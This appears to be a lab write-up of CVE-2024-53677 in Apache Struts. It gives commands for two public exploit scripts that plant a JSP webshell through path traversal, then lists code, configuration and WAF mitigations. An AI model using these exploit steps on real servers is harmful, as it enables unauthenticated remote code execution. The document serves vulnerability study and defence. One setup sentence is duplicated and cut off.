Share
## https://sploitus.com/exploit?id=4D1D49A1-E69C-5071-8061-96C8DE4B22AC
# CVE-2024-53677 โ€” How the Exploit Works and How to Run It

## Vulnerability summary

The flaw is in how Struts' `FileUploadInterceptor` hands off the uploaded filename to the action class.
Normally the interceptor sanitizes the filename, but Struts also lets any multipart parameter be
processed as an OGNL expression by the `ParametersInterceptor`. Sending `top.UploadFileName`
(or `uploadFileName[0]` for multi-file actions) as a form field directly calls
`action.setUploadFileName(value)` via OGNL, overriding whatever the interceptor set.

The action then writes the file with no path sanitization:

```java
String uploadDir = "webapps/ROOT/uploads";          // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName);  // no sanitization
```

Sending `../shell.jsp` as the filename resolves to:

```
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp          โ† served at http://localhost:8080/shell.jsp
```

Uploading a JSP webshell there gives unauthenticated RCE.

---

## Exploits Being Researched

There are two exploits being researched regarding this vulnerability:

1. [Lab Tomcat and exploit by EQSTLab](https://github.com/EQSTLab/CVE-2024-53677)
2. [Snyk vulnerability database](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHESTRUTS-8496612)

The Lab Tomcat application server, used as the target for both exploits, is taken
from the first repository, and runs in a container (docker or podman).

The subtle difference between the two exploits is shown in the side-by-side
comparison table at the end of this document.

## Lab setup

Clone the first repo and change to its root directory:

```sh
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
```

Copy Python script with exploit from the second referenced link (Snyk) and save
it into `poc.py` in the repo's root folder.

Create Python virtual environment for the exploit scripts, activate it and install
dependencies:

```sh
python3 -m venv venv
source venv/bin/activate
pip install requests requests_toolbelt
```

Copy Python script with exploit from the second referenced link (Snyk) and save
it into `poc.py` in the 

You will need docker (originally) or podman (used in our research) to build and run the
exploited Lab Tomcat:

```sh
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
```

Run the exploit scripts as described below in a separate shell from the repo root
directory with Python virtual env activated.

## Using CVE-2024-53677.py

### What it does

Uploads a JSP webshell to `/upload.action` using `top.UploadFileName` to inject a path-traversal
filename. The hardcoded webshell accepts commands via `?action=cmd&cmd=`.

### Command

```sh
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
```

`-p` is the value passed as `top.UploadFileName`. One `../` is enough to escape the `uploads/`
directory and land the file in the web root.

### Verify RCE

```sh
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
```

Note the required `action=cmd` parameter โ€” the hardcoded webshell checks for it before running
the command. Without it you get `Unknown action.` instead of output.

### Upload a custom payload

```sh
python CVE-2024-53677.py \
  -u http://localhost:8080/upload.action \
  -p ../shell.jsp \
  -f ./my_payload.jsp
```

## Using poc.py

### What it does

Targets `/uploads.action` (the multi-file variant) and sets `uploadFileName[0]` via OGNL to a
path-traversal value. Same underlying bypass, different parameter name and action class.

### Bug in the default paths

The default `--paths` value is `../../../../../webapps/ROOT`. From Tomcat's working directory
(`/usr/local/tomcat/`), this resolves to:

```
webapps/ROOT/uploads/../../../../../webapps/ROOT/shell.jsp
= /usr/webapps/ROOT/shell.jsp   โ† does not exist, upload silently fails
```

The correct depth is a single `..` โ€” one level up from `uploads/` reaches the web root.

### Command

```sh
python poc.py \
  -u http://localhost:8080 \
  --upload_endpoint /uploads.action \
  --paths .. \
  --filenames shell.jsp
```

`--filenames` pins the filename so you know where to fetch it. Without it the script generates
random names that are printed in the output.

### Verify RCE

The webshell uploaded by `poc.py` uses the simpler `?cmd=` interface:

```sh
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
```

---

## Mitigations for applications stuck on Struts 6.x

The canonical fix is upgrading to Struts 6.4.0, which reworks the file upload mechanism so the
`FileUploadInterceptor` no longer exposes the filename as an overridable OGNL parameter. If that
upgrade is blocked (JDK 8 compatibility, frozen release, third-party dependency constraints), the
mitigations below can be layered. They are ordered from most to least effective; applying the
first two together closes the vulnerability without requiring a Struts upgrade.

---

### 1. Sanitize the filename in the action class (highest impact, code-level)

This is the most robust fix because it works regardless of what any interceptor passes in.
Strip all path components from the filename before building the destination path, then verify
the resolved path is still inside the intended directory.

```java
import java.nio.file.Paths;

public String doUpload() {
    if (upload != null && upload.length() > 0) {
        try {
            File uploadDirectory = new File("/var/app/uploads");   // see mitigation 2
            if (!uploadDirectory.exists()) uploadDirectory.mkdirs();

            // Strip any path components the attacker injected via top.UploadFileName
            String safeFileName = Paths.get(uploadFileName).getFileName().toString();

            File destFile = new File(uploadDirectory, safeFileName);

            // Confirm the resolved path is still inside the upload directory
            String canonicalDest = destFile.getCanonicalPath();
            String canonicalBase = uploadDirectory.getCanonicalPath();
            if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
                addActionError("Invalid upload path.");
                return ERROR;
            }

            // ... copy bytes as before
```

`Paths.get("../shell.jsp").getFileName()` returns `shell.jsp`, so even if `top.UploadFileName`
delivers a traversal string, it is reduced to a plain filename before any I/O happens.

The same pattern applies to `UploadsAction` โ€” apply it inside the `for` loop on each
`uploadFileName.get(i)`.

---

### 2. Move the upload directory outside the web root (highest impact, config-level)

The current code writes to `webapps/ROOT/uploads`, a path relative to Tomcat's working directory
that sits inside the servlet container's document root. Any file written there with a `.jsp`
extension is immediately executable by Tomcat.

Change the upload destination to an absolute path that Tomcat has no reason to serve:

```java
// Before (vulnerable even without path traversal if Tomcat can write .jsp files here)
String uploadDir = "webapps/ROOT/uploads";

// After
String uploadDir = "/var/app/uploads";
```

Serve uploaded files to users through a dedicated download action that streams bytes from disk
rather than by exposing the directory as a web-accessible path. An attacker who achieves traversal
can still write files, but nowhere reachable by the JSP engine.

---

### 3. Exclude `top.*` parameters in the ParametersInterceptor (Struts config, no code change)

The OGNL expression `top.UploadFileName` reaches the action because the `ParametersInterceptor`
processes every request parameter as an OGNL expression without filtering the `top.` prefix.
Adding that prefix to the interceptor's exclusion list cuts the bypass at the Struts layer.

In `struts.xml`, override the interceptor stack for the affected packages:

```xml

    
        
            
                
                
                    top\..*,
                    dojo\..*,
                    ^struts\..*,
                    ^session\..*,
                    ^request\..*,
                    ^application\..*,
                    ^servlet(Request|Response)\..*,
                    ^parameters\..*,
                    ^action:.*,
                    ^method:.*
                
            
        
    
    

    
        /file.jsp
    

```

Repeat the same override in the `uploads` package. This blocks `top.UploadFileName` before it
ever reaches the action, so the action's own filename field retains only the value the
`FileUploadInterceptor` set (the original, untraversed filename).

Note: this does not block `uploadFileName[0]`-style overrides used by `poc.py`. That bypass
works through normal indexed OGNL property access rather than the `top.` shortcut. Full
protection requires combining this with mitigation 1 or 2.

---

### 4. Restrict allowed file extensions in the FileUploadInterceptor (partial mitigation)

The `fileUpload` interceptor can whitelist extensions:

```xml

    .txt,.pdf,.png,.jpg

```

This check runs on the filename that arrives with the multipart part โ€” before `top.UploadFileName`
overrides it. An attacker who names their file `payload.txt` but sets `top.UploadFileName` to
`../shell.jsp` passes the extension check and still writes a `.jsp` to the web root. **This
mitigation alone does not stop CVE-2024-53677.** Treat it as defense-in-depth alongside 1 or 2.

---

### 5. WAF rule (network-level stopgap)

If code or configuration changes are not immediately possible, a WAF can block requests that
carry the OGNL parameter names used by this exploit. The minimal signature for `top.UploadFileName`
is a multipart body containing a part named `top.`:

```
# ModSecurity / CRS-style pseudorule
SecRule MULTIPART_PART_HEADERS "@rx name=\"top\." \
    "id:9530677,phase:2,deny,msg:'CVE-2024-53677 OGNL upload bypass attempt'"
```

For `uploadFileName[0]`-style requests the heuristic is weaker (the parameter name is legitimate
in multi-file Struts forms), so WAF coverage for that variant requires inspecting whether the
value contains path traversal characters (`../` or `..\`).

WAF rules are fragile: encoding variations or request splitting can bypass them. Use as a
temporary measure only while a code fix is staged.

---

### Summary

| Mitigation                                       | Stops `top.UploadFileName` | Stops `uploadFileName[0]` | Change required           |
|--------------------------------------------------|:--------------------------:|:-------------------------:|---------------------------|
| 1. Sanitize filename in action + canonical check |            yes             |            yes            | Java code                 |
| 2. Upload dir outside web root                   |            yes             |            yes            | Java code / config        |
| 3. Exclude `top.*` in ParametersInterceptor      |            yes             |            no             | `struts.xml`              |
| 4. FileUploadInterceptor extension allowlist     |             no             |            no             | `struts.xml` (depth only) |
| 5. WAF rule                                      |            yes             |          partial          | Infrastructure            |

Mitigations 1 and 2 together eliminate the exploitable impact at the application layer without
touching Struts internals, making them the recommended path when an in-place upgrade to 6.4.0 is
not an option.

---

## Side-by-side comparison

|                  | CVE-2024-53677.py            | poc.py                                            |
|------------------|------------------------------|---------------------------------------------------|
| Endpoint         | `/upload.action`             | `/uploads.action`                                 |
| OGNL parameter   | `top.UploadFileName`         | `uploadFileName[0]`                               |
| Action class     | `UploadAction` (single file) | `UploadsAction` (multi-file)                      |
| Webshell call    | `?action=cmd&cmd=`      | `?cmd=`                                      |
| Default path bug | none                         | `--paths` default is too deep, override with `..` |